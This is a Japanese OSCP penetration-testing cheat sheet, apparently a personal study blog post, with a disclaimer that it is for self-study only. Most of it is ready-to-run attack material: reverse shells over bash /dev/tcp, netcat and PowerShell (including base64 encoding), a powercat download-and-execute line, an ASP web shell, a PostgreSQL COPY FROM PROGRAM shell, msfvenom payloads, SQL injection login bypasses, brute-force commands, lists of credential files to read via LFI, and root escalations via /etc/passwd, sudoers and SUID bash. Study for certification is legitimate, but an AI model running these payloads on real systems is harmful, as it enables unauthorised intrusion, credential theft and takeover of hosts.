🙄

OSCPチートシート

に公開

本記事について

本記事は社会秩序に反する行為を推奨することを目的としたものではありません。
あくまでも自分自身のペネトレーション勉強のためのものです。
許可されていない環境への攻撃試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があります。

情報収集/初期アクセス取得

nmap

使用例

コマンド
nmap -T4 --script vuln [IP]・・・脆弱性のスキャン
nmap --script smb-vuln* -p135,445 [IP]・・・SMBの脆弱性スキャン
nmap -p445 --script smb-enum-shares [IP]・・・共有アクセス列挙
nmap [IP] -p- | tee nmap_output.txt
awk '/\^[0-9]+\\/tcp/ && /open/ {printf "%s,", \$1}' nmap_output.txt | sed 's/\\/tcp//g' | sed 's/,\$//'
nmap -sC -sV -A -O -p[上記で取得したポート] [IP]
sudo nmap -sC -sV -A -O [IP] -p-  -Pn | tee nmap.txt
sudo nmap -sU [IP] | tee udpnmap.txt     

オプションの説明

  • -sC:スクリプトスキャン
  • -sV:バージョン検出
  • -P0:pingしないで実行
  • -script smb-vuln* -p 139,445 ・・・SMBをスクリプトスキャン
  • -T4:高速スキャン、0は低速
  • -A:強化スキャン(-sC、-sV、-O)
  • -O:OS検出
  • -sU:UDPスキャン、通常のnmapで何も見つけられないときは実行
  • --min-rate=1000:スキャン高速化
  • --open:openしているもののみ表示

検出したポートに対する追加調査

コマンド
nc -nv 192.168.121.143 3003・・・開いているポートに対して実行

rustscan

コマンド
全ポートスキャン
rustscan -a [IP] --range 1-65535 --ulimit 5000
nmapで詳細スキャン
rustscan -a [IP] --range 1-65535 --ulimit 5000 -- -sV -A

redis

コマンド
redis-cli -h [IP]

アクセス後のコマンド
INFO keyspace・・・データベース出力
DBSIZE・・・データベースサイズ確認

enum4linux

使用例

コマンド
enum4linux -S [IP]
enum4linux [IP] -u [ユーザ] -p [パスワード] 

オプションの説明

  • -a:共有フォルダなどの詳細
  • -o:OS情報
  • -s:共有情報

crackmapexec

使用例

コマンド
crackmapexec smb [IP] -u username -p password
crackmapexec smb [IP] -u users.txt -p password
crackmapexec ldap [IP]
crackmapexec ssh [IP]
crackmapexec rdp [IP]
crackmapexec smb [パスワード] --users
crackmapexec smb [IP] -u [ユーザ名] -p [パスワード] --sam
※impacket-wmiexec [ユーザ名]@[IP] -hashes [SAMから取得したHASH]
crackmapexec smb [IP] -u [ユーザ名] -p ['パスワード'] -d [ドメイン] --continue-on-success・・・パスワードのスプレーなどで使用、IPは1-10のようなレンジ指定可能

finger tcp79

コマンド
finger-user-enum.pl
https://github.com/pentestmonkey/finger-user-enum

perl finger-user-enum.pl -U [ユーザ名リスト] -t [IP]

rsync tcp873

コマンド
※認証の有無確認
┌──(kali㉿kali)-[~/oscp/pg/fail]
└─$ nc -nv 192.168.179.126 873                                                                                           
(UNKNOWN) [192.168.179.126] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0・・・同じ内容入力、Enter2回

fox             fox home
@RSYNCD: EXIT

rsync -av --list-only rsync://IP ・・・共有モジュール列挙
rsync rsync://192.168.179.126/[モジュール名] ・・・ 共有モジュール内の確認
rsync -av rsync://[IP]/[モジュール名]/ . ・・・ファイルのダウンロード
rsync -av [コピー元] rsync://[IP]/[モジュール名]/ ・・・ファイルのアップロード
※「-a」は再帰的にコピーするオプション 

DNS

コマンド
ソーン転送
dig [IP] axfr [ドメイン]
dnsenum [IP]

snmp

コマンド
snmp-check [IP]
snmpwalk -t 10 -v [バージョン] -c [コミュニティ名] [IP] > [出力ファイル名]
snmpbulkwalkも同様
  ※snmpbulkwalkはv2c以上、v1はsnmapwalk
sudo snmpwalk -v1 -c public [IP] NET-SNMP-EXTEND-MIB::nsExtendOutputFull

rdp

コマンド
rdesktop [IP]

RPC

コマンド
rpcclient -U ドメイン名/ユーザー名"" -N [IP]・・・RPCの接続試み、「""」はユーザ名指定なし
※N入れないと認証失敗する場合がある

接続後のコマンド
enumdomusers・・・ユーザ列挙
setuserinfo2 ユーザー名 23 パスワード・・・特定ユーザのパスワード変更
getdompwinfo・・・パスワードポリシー
srvinfo
queryuser
getusername
netshareenum
lookupnames

RIDサイクリング
for i in $(seq 500 2000); do echo "queryuser $i" |rpcclient -U "" -N [IP] 2>/dev/null | grep -i "User Name"; done

rpcinfo [IP]

netコマンドによる列挙・グループ操作
net rpc user -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"
net rpc group members "[グループ名]" -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"
net rpc group addmem "[グループ名]" "[ユーザ名]" -U "[ドメイン]"/"[ユーザ名]"%"[パスワード]" -S "[IP]"

git

コマンド
git-dumper 
git clone https://github.com/arthaud/git-dumper.git

git-dumper http://[IP等]/.git .
git log
git diff c9c8e8bd0~ 621a2e79b3~
git show 621a2e79b3~
git checkout -- . ・・・削除されたファイルの復元

mountd(TCP/2049)

コマンド
showmount -e [IP]
showmount -d [IP]・・・マウントされたディレクトリを表示

その後のマウント方法
sudo mount [IP]:/path/to/target /local/directory

AD環境のユーザ名列挙

コマンド
./windapsearch.py -d [ドメイン] --dc-ip [IP] -U
impacket-GetADUsers [ドメイン]/[ユーザ] -dc-ip [IP] -debug
impacket-GetNPUsers -dc-ip [IP]  -request [ドメイン]/[ユーザ]

kerbrute

コマンド
ツール取得
https://github.com/ropnop/kerbrute/releases

事前にユーザリストを作成し実行
./kerbrute_linux_amd64 userenum --dc [IP] -d [ドメイン] [ユーザリスト]

ユーザー名が割れていない状態でも実行可能
./kerbrute_linux_amd64 userenum --dc [IP] -d [ドメイン] /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 100 

impacket

コマンド
impacket-secretsdump [ドメイン]/[ユーザ名]:'[パスワード]'@[IP]
impacket-secretsdump [ドメイン]/[ユーザ名]@[IP] -hashes [lmhash]:[nthash]
impacket-wmiexec [ドメイン]/[ユーザ名]@[IP] -hashes 00000000000000000000000000000000:[nthash]

LDAP

コマンド
nmap --script "ldap* and not brute" [IP] -p 389 -v -Pn
上記の結果内、「rootDomainNamingContext: DC=XX,DC=XX」をもとに、
ldapsearch -x -H ldap://[IP] -b “dc=XX,DC=XX”

ldapsearch -H [URL:ldap://~] -x -s base namingcontexts

ユーザ列挙
ldapsearch -x -H [URL:ldap://~] -b "dc=XXX,dc=YYY" "(objectClass=person)"

オプションの使用例

  • -x:シンプル認証
  • -D '':バインドDN指定、空の場合は匿名バインド
  • -w '':バインドDNのパスワード指定、空の場合はパスワードなし

dirb

コマンド
dirb [URL] [ワードリストのパス(*1)] -X .sh等の列挙したい拡張子を,区切りで指定
(*1)/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt等   

ffuf

コマンド
※Get以外のメソッドを受け付けているエンドポイントの探索
ffuf -u [URL]/FUZZ -w [ワードリスト] -X POST
ffuf -w [ワードリストのパス] -u [URL、ディレクトリ列挙の場合は「/FUZZ」等追加]
ffuf -w [ワードリストのパス] -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -mr [エラーメッセージ("username already exists")]・・・ペイロードの例、FUZZ部分が調査対象、-dはボディ部分
ffuf -u [URL]/FUZZ -w [ワードリスト] -X POST・・・GET以外のエンドポイント探索の例

gobuster

コマンド
gobuster dir --url [URL] -w [ワードリストのパス]
gobuster dir -u [URL] -w [ワードリストのパス] -k -t 40・・・-tはスレッド、-kは証明書エラーを無視
gobuster vhost -u [URL] -w [ワードリストのパス] -t 150
gobuster dir -k -u [URL] -w [ワードリストのパス] -s '200,204,301,302,307,403,500' -e -x txt -t 30
gobuster dir -t 50 -u [URL]  -w [ワードリストのパス] -f -x php,txt,py,html,png,jpg -o [出力ファイル名] -k
gobuster vhost -u [URL] --domain [DOMAIN] --append-domain -w [ワードリストパス]

※すべてのリクエストに200を返す場合
gobuster dir -u [URL] -w [ワードリストのパス] -t 40 --exclude-length [サイズ]

feroxbuster

コマンド
feroxbuster -u [URL] -w [ワードリスト] --depth [探索する階層数]

feroxbuster -u [URL] \
  -w [ワードリスト] \ 
  -x [拡張子] \
  -t 100 \
  --status-codes 200 \
  --dont-filter \
  -o result.txt

オプションの説明

  • dir...ディレクトリ総当たり
  • -t...スレッド数
  • -u...URL指定
  • -w...wordlistの指定
  • -o...ファイル出力
  • -f...ディレクトリの末尾に「/」を追加
  • -x...拡張子指定(IISなら-x asp,aspx,txt等が有効)
  • -k...SSLをスキップ
  • -s...ステータスコードの指定
  • --dont-scan・・・探索対象外ディレクトリを指定(例:/manual)

dirsearch

コマンド
dirsearch -u [URL]

wpscan

コマンド
wpscan --update
wpscan --url [URL] --enumerate vt,u,vp
- vt:脆弱なテーマ
- u:ユーザ
- vp:脆弱なプラグイン
- ap:すべてののプラグイン

whatweb

コマンド
whatweb [IP]

hydra

コマンド
hydra -l [USERNAME] -P [パスワードリスト] [IP] -s [ポート] http-post-form "[URL]:[メッセージボディ]:F=[ログイン失敗時のメッセージ]" -V -t 64 -I
hydra -l  [USERNAME] -P [パスワードリスト] [IP] -V http-form-post "[URL]:[メッセージボディ]:S=Location"・・・F=でうまくいかないとき
※Burp等でリクエストをキャッチしてから実行
hydra -P [ワードリスト] -v [IP] [プロトコル]
hydra -v -V -u -L [ユーザ名リスト] -P [パスワードリスト] -t 1 -u <ip> <protocol>
hydra -t 1 -V -f -l [ユーザ名] -P [パスワードリスト] rdp://[IP]
hydra -L [ユーザファイルパス] -P [パスワードファイルパス] -s [port] ssh://[IP]
※ftpのブルートフォース
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt [IP] ftp

ワードリストの作成例

コマンド
cewl -d 3 -m 7 -w [出力ファイル名] [URL]

オプションの説明

  • d 3: 深さ3までのリンクを追跡して単語を収集する指定
  • m 7: 最低7文字以上の単語を収集する指定

LFIを利用して読み取りを狙うファイル:

Linux

  • /etc/passwd
  • /etc/shadow
  • /etc/issue
  • /etc/group
  • /etc/hostname
  • /etc/ssh/ssh_config
  • /etc/ssh/sshd_config
  • /root/.ssh/id_rsa
  • /root/.ssh/authorized_keys
  • /home/<username>/.ssh/authorized_keys
  • /home/<username>/.ssh/id_rsa
  • /home/<username>/.ssh/id_ecdsa
  • /home/<username>/.ssh/id_ecdsa_sk
  • /home/<username>/.ssh/id_ed25519
  • /home/<username>/.ssh/id_ed25519_sk
  • /home/<username>/.ssh/id_dsa
  • /home/<username>/.bash_history
  • /proc/self/cmdline
    現在実行中のプロセスが起動されたときのコマンドライン引数を確認
    ※相対パスを2つ重ねることでフィルタを回避できたりする。....//

その他参考リスト
https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/master/LFI payloads.txt
https://github.com/ricew4ng/Blasting-Dictionary/blob/master/LFI-Interesting-Files(249).txt

Webのよくあるファイル

  • /var/www/html/config.php
  • /var/www/config.php
  • /etc/apache2/apache2.conf

wfuzzでのLFIファジング

コマンド
wfuzz -c --hh=32 -z file,LFI\ payloads.txt http://[IP]:[PORT]/[path]?[パラメータ]=FUZZ

.htpasswd

コマンド
.htpasswdは、Basic認証で使われるユーザー名と暗号化されたパスワードを保存するファイル
 hashcat -m 1600 -a 0 authby.hash ./rockyou.txt

メール関連

コマンド
ユーザリストによる存在確認
smtp-user-enum -M VRFY -U [リストファイル] -t [IP]

メールの配送
sudo swaks -t [宛先] --from [送信元] --attach @[添付ファイル] --server [IP] --body "[本文]" --header "[件名]"

kaliにインストールされたメーラの起動
evolution

PDF

コマンド
exiftool -a -u -g -G1 XXX.pdf

SQLITE

コマンド
sqlite3 database.db

favicon

https://wiki.owasp.org/index.php/OWASP_favicon_database
上記のサイトでファビコンのハッシュ値を検索することでWebのフレームワークがわかる場合がある。

その他Web調査

コマンド
nikto -h [URL]
curl -v [URL]
curl -I [URL]・・・ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
robots.txt,sitemap.xmlの確認
CMSの特定
デフォルトパスワードの入力(パスワード推測)
curl -i [URL] -X POST -H 'Content-Length: 0'
curl [URL] | html2markdown

sqlmap

コマンド
sqlmap -r [データ(*1)] --dbms=mysql --dump
(*1)HTTPリクエストを含むファイル
sqlmap -u [URL] -D [DATABASE] --tables
sqlmap -u [URL] -D [DATABASE] -T [TABLE] --columns
sqlmap -u [URL] -D [DATABASE] -T [TABLE] -C fullname,is_admin,password,email --dum
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dum
sqlmap -r [データ(*1)] -p [パラメータ] --level 5 --risk 3 --batch --threads 10 --dbs

オプションの説明

    • --dbms=mysql:データベースの種類を指定
  • --dump:データベースの内容をダンプ
  • -r:リクエストのテキストファイル
  • -u:対象URL指定
  • --batch:バッチモードで実行、対話的なプロンプトが表示されず自動的に検証が行われる。
  • -D:データベース名指定
  • -T:指定したデータベース内のテーブル名を指定
  • --level:テストのレベル、5が最大で一番詳細
  • --risk:リスクの高いテストも実施、3が最大
  • --dbs:データベース一覧を取得
  • -p:インジェクションをテストするパラメータ指定

SQLインジェクション(認証)

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
/\*\*/or/\*\*/1=1#・・・空白をコメントに置き換える手法

MS SQL

コマンド
MSSQLへのアクセス
impacket-mssqlclient [ユーザ名]:'[パスワード]'@[IP] -windows-auth

コマンドの有効化
EXECUTE sp_configure 'show advanced options', 1;--
RECONFIGURE;--
EXEC sp_configure "xp_cmdshell", 1;--
RECONFIGURE;--  

その他コマンド
xp_dirtree \\[IP]
※SMBのアクセス、responderなどと併用
sudo responder -I tun0 -v

ユーザ偽装
SELECT  distinct b.name FROM sys.server_permissions a INNER  JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name =  'IMPERSONATE'

上記で確認できたユーザ名で
EXECUTE  AS LOGIN =  '[ユーザ名]' 

PostgreSQL

コマンド
psql -h [IP] -U [ユーザ名] 

ログイン後
\ du・・・権限の確認

リバースシェル取得
#POC 
DROP  TABLE IF EXISTS cmd_exec; 
CREATE  TABLE cmd_exec(cmd_output text); 
COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/[ローカルIP]/[ローカルポート] 0>&1' ;

相手がプロキシの時の列挙

コマンド
curl -x http://[相手のIP]:[プロキシポート] http://[相手のIP]:[探索したいポート]
※「-x」はcurlのプロキシ指定

SMB経由の攻撃

コマンド
smbclient //[IP]/[フォルダ名]
smbclient \\\\[IP]\\[フォルダ名](SMB接続)
smbclient //[IP] -U "[ユーザ名]%[パスワード]"
smbclient -L [IP] -N (-Lは共有列挙、-Nは認証情報省略)
smbmap -H [IP](SMB共有の列挙、-Hはホスト指定)
smbmap -u null -p null -H [IP] -s [対象のフォルダ] -R [ツリーを作成する始点パス]
crackmapexec smb [IP] --shares(共有フォルダの列挙)
crackmapexec smb [IP] -u [ユーザ名] -p '[パスワード]' -d [ドメイン] --users
crackmapexec smb [ホスト] -u [ユーザ名] -p '[パスワード]'
impacket-lookupsid [ドメイン]/[ユーザ名]:'[パスワード]'@[ドメイン]

SMB接続の例

コマンド
mkdir share
impacket-smbserver public share -smb2support -username [USERNAME] -password [PASSWORD]
(publicはWindows側から見える名前、shareはKaliのフォルダ)

リモート側にて
net use \\[LOCALIP]\public /user:kali kali
copy [リモートのファイルパス(C:\Users~)] \\[LOCALIP]\public\

impacket-psexec

コマンド
impacket-psexec [ユーザ名]:'[パスワード]'@[IP]
impacket-psexec -hashes :[HASH] [DOMAIN]\[USER]@[IP]

evil-winrm

evil-winrm -i [IP] -u [ユーザ名] -p "[パスワード]"
evil-winrm -i [IP] -u [ユーザ名] -H "[NTLMハッシュ]"

オプションの説明

  • -H:hash値で接続
  • WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用

cgms? port 3003

コマンド
nc -nv [IP] 3003
version 
以下の結果があれば脆弱性あり
Aerospike Community Edition build 5.1.0.1

wget https://raw.githubusercontent.com/b4ny4n/CVE-2020-13151/master/cve2020-13151.py
python3 cve2020-13151.py --ahost=192.168.208.143 --aport=3000 --pythonshell --lhost=192.168.45.208 --lport=443
nc -nlvp 443
※なかなか刺さらないときがあるので何度か実行

john

コマンド
john -w=./rockyou.txt user.hash
john --show user.hash

hashcat

HASHの形式特定

コマンド
hash-identifierでhash形式の特定
https://hashcat.net/wiki/doku.php?id=example_hashes

使い方

コマンド
hashcat -m [hash形式] -a [タイプ] [hash値のファイル] [ワードリスト]

オプション

  • -m:hash値の形式(MD5:0、NTLM:1000)
  • -a:攻撃タイプの指定、「0」なら単語リストを使用したストレート攻撃

powercat.ps1

コマンド
IEX(New-Object System.Net.WebClient).DownloadString('[URL]/powercat.ps1');powercat -c [IP] -p [PORT] -e powershell

ペイロードのエンコード例

コマンド
$Text = '$client = New-Object System.Net.Sockets.TCPClient("[IP]",[ポート]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

スプレーコマンド

コマンド
crackmapexec smb [IP、-でレンジ指定可能] -u [ユーザ名orリスト]  -p [パスワード or リスト] --continue-on-success -d [ドメイン]
crackmapexec smb [IP] -u [ユーザ名] -p '[パスワード]' --local-auth
nxc rdp [IP、-でレンジ指定可能] -u [ユーザ名orリスト] -p [パスワード or リスト] --local-auth
nxc winrm [IP、-でレンジ指定可能] -u [ユーザ名orリスト] -p [パスワード or リスト] --local-auth

NTLMハッシュのスプレー
crackmapexec winrm $IP -u names.txt -H ハッシュ

msf

msfconsole

コマンド
set payload windows/x64/shell/reverse_tcp
※ctrl+zでバックグラウンド実行
※そのあとで権限昇格
sessions -lで一覧表示
sessions -i 番号で復帰
upload /home/kali/thm/PowerUp.ps1
load powershell
powershell_shell

msfconsoleで追加モジュール使用など

コマンド
meterpreter のチェック
msf5 exploit(multi/handler) > sessions -i 1
meterpreter > load stdapi
meterpreter > sysinfo

アーキテクチャが違うなどある場合は以下のような方法で移行
meterpreter > ps
meterpreter > migrate 1148

suggester を使う
meterpreter > background

msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
msf5 post(multi/recon/local_exploit_suggester) > run

Windowsに対する操作

コマンド
load powershell → powershell_shell:Powershell起動
ctrl + zでバックグランド、channelコマンドで復帰
shell:CMD起動、exitで抜ける
powershell_shell
shell
exit

msfvenom

コマンド
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o [ファイル名]
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -service -o [ファイル名.exe]・・・msfvebnomでのサービス用exe作成

msfvenom -p php/reverse_php LHOST=[IP] LPORT=[PORT] -f raw > [ファイル名.php]   

リバースシェルコマンド

コマンド
/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT]'
bash -i >& /dev/tcp/[IP]/[PORT] 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [PORT] >/tmp/f

Zerologon

コマンド
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
https://github.com/risksense/zerologon

hoaxshell

コマンド
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
python3 -m venv myenv
source myenv/bin/activate
sudo pip3 install -r requirements.txt
chmod +x [hoaxshell.py](http://hoaxshell.py/)

WebDAV

コマンド
wsgidav --host=0.0.0.0 --port=9000 --auth=anonymous --root /home/webdav/

here is the config.Library-ms:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.XX.219:9000</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

.lnk payload:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.XX.219/powercat.ps1'); powercat -c 192.168.XX.219 -p 445 -e powershell"

Webserver for Payload started as:
python3 -m http.server 80

WebDAVへのアクセス

コマンド
cadaver http://[リモートホスト]
※ユーザ名/パスワードが必要 

ASPのリバースシェル

cmd.asp
<%
Dim cmd, shell, exec, output
cmd = Request.QueryString("cmd")

Set shell = Server.CreateObject("WScript.Shell")
Set exec = shell.Exec("cmd.exe /c " & cmd)
output = exec.StdOut.ReadAll()

Response.Write("<pre>" & output & "</pre>")
%>
上記をcmd.aspとして保存しアップロードする。
http://[リモートホスト]/cmd.asp?cmd=任意のコマンドで実行できる
powershell(base64)のリバースシェルを実行できる。

PWSH

コマンド
kali@kali:~$ pwsh
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS> $EncodedText =[Convert]::ToBase64String($Bytes)

PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
PS> exit

sshポートフォワーディング

コマンド
ssh -L 10000:localhost:10000 [USERNAME]@[IP]
一つ目の「-L 10000」にアクセスすると、SSHで接続しているマシンを踏み台にして「localhost:10000」にアクセスする

ssh -i id_rsa [リモートユーザ名]@[リモートホスト] -L [ローカルポート]:127.0.0.1:[リモートポート]

※使用例
-L 8000:127.0.0.1:8000
8000: : ローカルマシンのポート番号。ここにアクセスするとトンネルが使われる。
127.0.0.1:8000 : リモートサーバーのループバックアドレスとリモートサーバー側でアクセスするポート番号

wordpress攻略

コマンド
WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択。
Templateをリバースシェルコードと置き換え。

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>

nc

コマンド
nc.exe [IP] [ポート] -e powershell

Redis RCE(5.05以下)

https://zenn.dev/iestudy/articles/5c69095b197d6e
https://zenn.dev/iestudy/scraps/574380207b45c0

権限昇格

Linux

コマンド
hostname
uname -a
uname -r
/proc/version
/etc/issue
ps aux or pgrep -a .
ps -A
env
sudo -l
id
cat /etc/passwd | cut -d ":" -f 1
history
ifconfig
netstat
ls -l /etc/shadow
crontab -l
ls /etc/cron.d
ss -tuln
ps auxww

lse.sh(linpeas.sh類似)

コマンド
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
./lse.sh -l2
※lは1~3段階で設定可能

idの結果

コマンド
※sudoグループにいる場合
$ id uid=1001(yuki) gid=1001(yuki) groups=1001(yuki),27(sudo)

sudo -l
でできることを確認

chisel

コマンド
アクセスしたマシンのローカルポートの調査等
kali側
chisel server --reverse -p [待ち受けポート]

リモート側
./chisel client [kaliのIP]:[待ち受けポート] R:[kaliのポート]:127.0.0.1:[アクセスしたマシンのポート]

Capabilities

コマンド
確認コマンド
getcap -r / 2>/dev/null

出力結果の例
/usr/bin/python3.10 cap_setuid=ep

権限昇格
/usr/bin/python3.10 -c 'import os;os.setuid(0);os.system("/bin/bash")'

Makefile

sudoでmake実行可能な場合

Makefile
install:
        # Set SUID bit on /bin/bash to escalate privileges
        sudo chmod +s /bin/bash

.PHONY: install
  • Makefileはタブを使う
  • .PHONY: installはコマンド実行の意

上記実行後に以下を実行

コマンド
/bin/bash -p

書き込み可能な/etc/passwd

コマンド
新たにユーザを追加する方法
openssl passwd -6 [パスワードに指定する文字列]
echo "[ユーザ名]:[上記の結果]:0:0:root:/root:/bin/bash" >> /etc/passwd

tar *

コマンド
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

shell.shの作成
echo '#!/bin/bash' > shell.sh
echo "busybox nc [IP] [PORT] -e bash" >> shell.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] '" >> shell.sh
echo "/bin/chmod 4755 /bin/bash" >> shell.sh・・・この後は/bin/bash

/etc/passwdと/etc/shadowからのベクトル

コマンド
unshadow passwd.txt shadow.txt > passwd.db
john passwd.db 

SGID、SUIDの探索

コマンド
find / -perm -4000 2> /dev/null
find / -perm -u=s -type f 2>/dev/null | grep -v snap 
find / \( -perm -4000 -or -perm -2000 \) -type f -exec ls -la {} \;
ls -al ~/;ls -al /home/* / /home/*/.bash_histroy

SUIDのついたarj

コマンド
1.SUIDファイルを列挙してarjを確認
find / -perm -u=s -exec ls -l {} \; 2>/dev/null

2./etc/sudoers をアーカイブ化(root権限で読み取り)
arj a sudoers_fox /etc/sudoers

3.アーカイブから抽出して保存
arj p sudoers_fox.arj > raw_sudoers

4.ARJの余計な出力を除去
※vi等で

5.sudo権限を追加(rootの下に)
[ユーザ名] ALL=(ALL:ALL) NOPASSWD:ALL

6.再アーカイブ(ファイル名は sudoers にする)
arj a sudoers_fixed sudoers

7./etc/sudoers に上書き抽出
arj e sudoers_fixed.arj /etc

8.root昇格
sudo su

/bin/bashへの操作

コマンド
cp /bin/bash /tmp/hacked; chmod +xs /tmp/hacked
/tmp/hacked -p

Pythonスクリプトの差し替え

コード
import os; 
os.system( "/bin/bash" )

pspy

コマンド
./pspy64 -pf -i 1000 

スクリプトがroot権限で実行可能な場合

コマンド
Perlの場合:sudo /usr/bin/perl -e 'exec "/bin/bash";'
Pythonの場合:sudo python3 -c 'import os; os.system("/bin/bash")'
AWKの場合:sudo awk 'BEGIN {system("/bin/bash")}'
Rubyの場合:exec "/bin/bash -i"

sudoers

コマンド
echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers

bash関連

コマンド
cp /bin/bash . && chmod +s ./bash
chmod u+s /bin/bash

SUID付与後
/bin/bash -p -i

inetd.conf

コマンド
echo '[ポート] stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf
※上記実行後にkaliからncで接続する

PATHハイジャック

コマンド
PATHハイジャック(可能な限り絶対パスを使用してプログラムを実行することが推奨)
export PATH=/home/XXX:$PATH(自身の実行したいプログラムをPATHの先頭に置く)

SUID(systemctl)

コマンド
1.ペイロードを準備する:root.service
2.書き込み可能なファイル/ディレクトリを見つける。
find / -type f -maxdepth 2 -writable
find / -perm -u=s -type f 2>/dev/null
find / -type d -maxdepth 2 -writable
find / -writable -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
find / -perm -222 -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
find / -perm -o w -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索

3.ペイロードを転送または、vi を使用してそこにファイルを書き込む
4.nc待ち受け
5.ペイロードを実行
  - /bin/systemctl enable /tmp/root.service
  - /bin/systemctl start root

※root.service
[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target

Windows

コマンド
whoami /priv
whoami /fqdn
whoami /groups
net user [ユーザ名]

グループ取得
net localgroup
Get-LocalGroup
Get-LocalGroupMember [グループ名]

ユーザの所属するグループ確認
net user [ユーザ名]
Get-LocalUser | Where-Object { $_.Name -eq "[ユーザ名]" } | Select-Object Name, LocalGroups

保存された資格情報の確認
cmdkey /list

ヒストリ
Get-History

プロセス
Get-Process

タスク
schtasks /query /fo LIST /v
Get-ScheduledTask
schtasks | FIND "[キーワード]"

インストールされたもの
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

「ProgramFiles」配下の確認
(Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加か?
schtasks /query /fo LIST /v・・・タスクスケジューラの確認
runas /user:[ユーザ名] [コマンド、cmd等]
setまたはGet-ChildItem Env:・・・環境変数の列挙
net user /domain

icacls "C:\scheduler"
※結果の見方
Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

Get-Acl [ファイルパス、C:\~] | fl

パスワード変更
net user administrator password
※パスワードを「password」に変更

ユーザ追加
net user [ユーザ名] [パスワード] /add
net localgroup Administrators [ユーザ名] /add
net localgroup "Remote Desktop Users" [ユーザ名] /add

PATHの編集
set PATH=%SystemRoot%\system32;%SystemRoot%;

テキストファイルの探索例
get-childitem -path C:\\Users\\ -include *.txt -file -recurse -erroraction silentlycontinue

SeManageVolumePrivilege

コマンド
